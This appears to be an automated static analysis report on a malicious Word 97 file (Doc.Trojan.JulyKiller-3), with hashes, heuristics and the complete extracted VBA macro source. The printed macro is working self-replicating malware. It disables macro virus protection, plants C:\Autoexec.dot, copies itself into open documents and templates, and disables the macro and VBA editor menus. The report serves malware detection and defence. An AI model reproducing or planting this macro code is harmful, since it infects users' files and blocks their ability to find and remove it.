Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ed79a7fed22ab64d…

MALICIOUS

Office (OLE)

132.5 KB Created: 2001-05-20 23:29:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 52f7ee1475d86d9e28c49e7fa7925c78 SHA-1: 19ab06fd36e4dad8a1dd1a1be9936e7a58e0f25c SHA-256: ed79a7fed22ab64dbd06bce92d414b53978f74f5491ec48bec75426b46581618
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close, which are commonly used for malicious purposes. The script attempts to disable macro protection and copy itself to other documents, indicating a self-propagation or downloader behavior. The ClamAV detection 'Doc.Trojan.JulyKiller-3' further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.JulyKiller-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.JulyKiller-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
                    If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
                    If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6751 bytes
SHA-256: 26b4ac813fc03ce95c72661e32898c7d6a4491499f1ae01579d9b56f6bd9e9bb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Y2K"
Sub actNo()
    
End Sub
Sub Autos()
    Dim file$
    Dim ans$
    Dim test
    Dim mItem
    Dim cItem
    Dim aDoc
    Dim aTemp
    Dim vset
    Dim Iset
    Dim ad
    Dim y2kDate As Long
    Application.ScreenUpdating = False
    For Each ad In AddIns
    If ad.Name = "Autoexec.dot" Then
        ad.Installed = False
    End If
    Next ad
    With Dialogs(wdDialogToolsOptionsFileLocations)
    .Path = "STARTUP-PATH"
    .Setting = "c:\"
    .Execute
    End With
    If Options.VirusProtection Then
        Options.VirusProtection = False
    End If
    
    file$ = WordBasic.[MacroFileName$]()
    If InStr(file$, "Autoexec") <> 0 Then
        For Each aDoc In Documents
        For Each cItem In aDoc.VBProject.VBComponents
        If (cItem.Name = "Y2K") Then
            vset = 1
        End If
        Next cItem
        Next aDoc
        For Each cItem In NormalTemplate.VBProject.VBComponents
        If (cItem.Name = "Y2K") Then
            vset = 1
        End If
        Next cItem
        If vset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False
        For Each aDoc In Documents
            If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":Y2K", aDoc.FullName + ":Y2K"
            End If
        Next aDoc
        For Each aTemp In Templates
            If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":Y2K", aTemp.FullName + ":Y2K"
            End If
        Next aTemp
        ActiveDocument.Save
        ActiveDocument.Close
        End If
        If vset = 1 Then
            GoTo out
        End If
    End If
    
    With Application.FileSearch
    .LookIn = "C:\"
    .FileName = "Autoexec.dot"
    If .Execute > 0 Then
          Iset = 1
    End If
    End With
    If Iset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Add NewTemplate:=True
        WordBasic.MacroCopy file$ + ":Y2K", ActiveDocument.FullName + ":Y2K"
        ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False
        ActiveDocument.Close
    End If

    For Each aDoc In Documents
        If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
            For Each cItem In aDoc.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aDoc.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
    Next aDoc
    For Each aTemp In Templates
        If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
            For Each cItem In aTemp.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aTemp.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
    Next aTemp
    For Each aDoc In Documents
        If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
             WordBasic.MacroCopy file$ + ":Y2K", aDoc.FullName + ":Y2K"
             aDoc.Save
        End If
    Next aDoc
    For Each aTemp In Templates
        If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
              WordBasic.MacroCopy file$ + ":Y2K", aTemp.FullName + ":Y2K"
        End If
    Next aTemp
out:
If InStr(file$, "Normal") = 0 Then

    CustomizationContext = NormalTemplate
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
       Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
    
    For Each mItem In CommandBars("Tools").Controls
    If mItem.Caption = "自定义(&C)..." Then
        mItem.OnAction = ""
    End If
    If mItem.Caption = "模板和加载项(&I)..." Then
        mItem.OnAction = ""
    End If
    If mItem.Caption = "选项(&O)..." Then
        mItem.OnAction = ""
    End If
    Next mItem
    For Each mItem In CommandBars("File").Controls
    If mItem.Caption = "新建(&N)..." Then
        mItem.OnAction = "NewDoc"
    End If
    If mItem.Caption = "保存(&S)" Then
        mItem.OnAction = "SaveDoc"
    End If
    Next mItem
    For Each cItem In CommandBars("Tools").Controls
    If cItem.Type = msoControlPopup Then
        If cItem.Caption = "宏(&M)" Then
            For Each mItem In cItem.CommandBar.Controls
                If mItem.Caption = "宏(&M)..." Then
                    mItem.OnAction = ""
                End If
                If mItem.Caption = "Visual Basic 编辑器(&V)" Then
                    mItem.OnAction = ""
                End If
            Next mItem
        End If
    End If
    Next cItem
    For Each cItem In CommandBars("Visual Basic").Controls
    cItem.OnAction = ""
    Next cItem
    For Each cItem In CommandBars("Standard").Controls
    If cItem.Index = 1 Then
    cItem.OnAction = "NewDoc"
    End If
    If cItem.Index = 3 Then
    cItem.OnAction = "SaveDoc"
    End If
    Next cItem
    For Each cItem In CommandBars
    If cItem.Visible = True Then
        cItem.Protection = msoBarNoCustomize
    End If
    Next cItem
End If
    For Each myTask In Tasks
        If InStr(myTask.Name, "Visual Basic") > 0 Then
            myTask.Visible = False
        End If
    Next myTask
Application.ScreenUpdating = True

End Sub
Sub AutoOpen()
Autos
End Sub
Sub AutoClose()
Autos
End Sub
Sub AutoNew()
Autos
End Sub
Sub AutoExec()
Autos
End Sub
Sub NewDoc()
Documents.Add Template:="", NewTemplate:=False
Autos
End Sub
Sub SaveDoc()
ActiveDocument.Save
Autos
End Sub

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